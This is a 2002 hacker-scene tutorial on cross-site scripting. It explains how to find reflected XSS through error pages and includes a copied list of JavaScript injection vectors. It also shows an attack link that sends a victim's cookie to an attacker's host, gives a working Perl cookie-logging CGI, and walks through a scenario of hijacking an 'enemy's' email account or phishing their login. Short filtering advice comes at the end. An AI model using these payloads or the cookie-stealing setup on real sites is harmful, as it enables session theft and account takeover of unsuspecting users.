|\ ____ \ |\ ____ \ |\ \|\ \|\ \ |\_____ ____\
| \ \__|\ \ | \ \__|\ \ | \ \ \ \ \ \ | | |\ \ |
\ \ ___ | \ \ ____ \ \ \ \_| \_| \ \|___| \ \__|
\ \ \_|\ \_ \ \ \__|\ \ \ \ _ \ \ \ \
\ \ \\ \ \ \ \ \ \ \ \ \ \ |\ http://www.haxworx.com
\ \___\\ \___\ \ \___\ \ \___\ \ \____| \_____\ \ \___\
\ | | \ | | \ | | \ | | \ | |\ | | \ | |
\|___| \|___| \|___| \|___| \|___| \|____| \|___|
/***************************************************************
Cross-Site Scripting (SORT OF) Explained!!!!
Author: BrainRawt | Email: brainrawt@hotmail.com
Greetz to b0iler.
***************************************************************/
Updated on: 9-6-02
What is Cross-Site Scripting (CSS/XSS)?
--------------------------------------------
Cross-Site Scripting is what we call, the injection of malicious input to the
html of a remote wepage, executable by clients with the thought that it is
coming from the trustworthy webpage itself. Cross-Site scripting is sometimes
refered to as "XSS", because "CSS" is often confused with Cascading Style
Sheets. If you hear someone refering to a vulnerability that involves CSS or
XSS, then they are probably refering to Cross-Site scripting.
Difference between XSS and Script-Injection!! Remember This!!
----------------------------------------------------------------
After having a discussion with my good friend b0iler, I have learned to
understand that not every script execution vulnerability is refered to
as XSS. There is another form known as "Script Injection". The difference
between the two are: 1. Script-Injection is when the remotely injected
script perminately modifies the webpage. 2: Cross-Site Scripting is not
perminent, but is only temporary.
What types of scripting can be injected into the remote webpage?
----------------------------------------------------------------
The most polular types of injection are those found below.
HTML
JavaScript (discussed in this paper)
VBScript
ActiveX
Flash
What Causes A Site To Be Vulnerable To XSS?
-------------------------------------------
In alot of cgi/php scripts and I believe in some webservers, when something is
not found or there is an error of some type, that something is printed to an
html and shown to the visitor of that website. EX: 404 - yourfile.html Not Found!
We dont normally pay any attention to something like this do we? We move on and
forget about it. Now when we find something like this, we check to see if it is
vulnerable to CSS or not.
EXAMPLE: www.somesite.tld/cgi-bin/program.cgi?page=downloads.html is a valid url.
Change downloads.html to brainrawt_owns_me.html and see what you get.
www.somesite.tld/cgi-bin/program.cgi?page=brainrawt_owns_me.html
404 - brainrawt_owns_me.html Not Found!
See how it wrote our input to the html? Sure you do.... Now its time we
check for XSS vuln.
NOTE: Below is just ONE example of how we can inject java-script to the
vulnerable webpage. There are many different ways to get this done.
EXAMPLE: www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</script>
Now what do we see when we submit this URL?
A box pop up on our screen that says "XSS_Vuln_Testing"? If so then this site is
vulnerable to Cross-Site Scripting. If we modified the javascript in the URL above,
we could make it do evil things.
The reason this worked is because, the program.cgi wrote our input to the 404 error
page without filtering. This created a page that looked like what is below.
<html>
<b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!
</html>
Instead of printing the input to the screen, the <script> causes your browser to
execute the input java-script instead.
How Can XSS Be Used As A Hacking Tool?
--------------------------------------
How this works is just as mentioned above. The input is written to the html when input is
found to be invalid. If the software on the webserver that writes the input to the html,
isnt filtering the input properly, malicious scripting can be inserted to the html. That
scripting will be executed by whomevers browser follows the link.
EXAMPLE: Lets say you discovered that myemailserver.tld was vulnerable to CSS and you are
going to use it to gain access to an enemies email account. In this story, we will
call our enemy b00b,
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
when changed to:
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
creates an error page showing a msg that says.......
Invalid Input! [article=hax0red]
and when inserted with java script as below, you get a msg that says........
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')</script>
Invalid Input! [article=] and the java-script is executed by the visiting browser,
causing a "test" box to appear on your screen.
Why is the article field empty you ask? Its because the <script> isnt printed to
the screen like most other input. It is hidden in the background and executed. Why
did the box appear? Its because the java-script <script>alert('test')</script> was
not filtered out and was in return executed by your browser. ALL java-script is
executed by the browser/client connecting to the webpage.
You know that your evil enemy (b00b) has an email address there and you know that
cookies are used for authentication purposes.
You tell b00b to check out this article that myemailserver.tld has posted. Dear
b00b, Check out the Article at the address below.
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>evil thieving and logging
hax0r code here</script>
The evil code entered between the <script> TAGS, (in this story) grabs a onto
b00bs myemailserver.tld cookie, sends it to a remote location for logging, and
gives b00b an error page, leaving him to think that he was given a bad URL...
You can (Sometimes) use that cookie to log into b00bs email account.
If this doesnt work in your situation, you could copy the login page of the
email server, place it on another host along with a logging cgi, send them to
myemailserver.tld and use java-script to redirect them to your copy of the login
page. They will try to login, their information will be logged for you, and if
you choose, you can send them back to the real myemailserver.tld login page in
hopes that they never find out what just happened.
Different Methods to Inject JavaScript To a Webpage.
-----------------------------------------------------
<snip>
----Copied from GOBBLES SECURITY ADVISORY #33----
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing with.
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input type="image" dynsrc="javascript:[code]"> [IE]
<bgsound src="javascript:[code]"> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
</snip>
A "REAL" example of grabbing a Cookie and Logging it.
-----------------------------------------------------
NOTE: For this to work, you must be using cookies on
the vulnerable http://website.tld. When I tested
the information below, I used java script to
create cookies for visitors and that java script
was placed in my index.html.
Lets say, we find a vulnerable site. http://website.tld
VULN LINK: http://website.tld/program.cgi?input=<evil javascript>
We create a link such as the one below.
http://website.tld/program.cgi?input=<...://yoursite.tld
/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script>
and get someone who has a cookie at website.tld to visit the link.
How do we log the cookie after we use this javascript to send it to our evil_cookie_logger.cgi?
We write a cgi such as the one below..........
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html\n\n something went wrong\n";
print EVIL_COOKIE_LOG "$borrowed_info\n";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);
------------------------------------------
What does this cgi do you ask? It will grab the info from the cookie, place it after
evil_cookie_logger.cgi? using the $ENV{'QUERY_STRING'}; and then stuff it into the
$borrowed_info scalar. It will then be written to a logfile we are calling evil_cookie_log.
NOTE: The javascript example above, may not work with all browsers, and may not work with
all websites. This is just an example I created on my own site for testing purposes.
IT DID WORK WHEN I TESTED IT!!! I used IE 5.0 and an Apache server running on linux.
How Can XSS Vulns Be Protected Against?
---------------------------------------
1. You can disable java-script in your web browser if you wish.
2. Programmers can take extra time to audit their own code and check to make sure there wont
be anything sneaking through the INPUT filters. Programmers have spent alot of time working
on the programs they offer us users. They sometimes miss something that they normally would
catch, or they may not know that they have left their program open to attacks. The most
important step a programmer can take to prevent this type of attack is to perform proper
filtering of input to the program. There is no one answer to protect all scripts from xss,
but there are some steps that one can take that will help. The programmer could filter out
certain characters such as < and > or translate them to their html equivalent as the examples
below indicate.
EXAMPLE: Convert < and > to < and >
NOTE: Due to the multiple angles xss vulns can be exploited, the example above is only
that. An example.... Programmers know what they must filter and what they can
leave alone depending on what their program does. I would also recommend filtering
all other meta characters and even "=". Just my opinion, but I like my opinion..
FINAL NOTE: NEVER visit a link that has something ODD in the url such as <script>. I have never
seen an official URL with any such scripting stuffed in the middle of it. If you
do see something like this, question the judgement of the person giving it to you.
FINAL FINAL NOTE: Dont pass those annoying error messages up anymore. hax0r them...........
----------------------------------------------------------------------------------------------
Hacking is a way of thinking. Not a way of impressing your friends. - BrainRawt
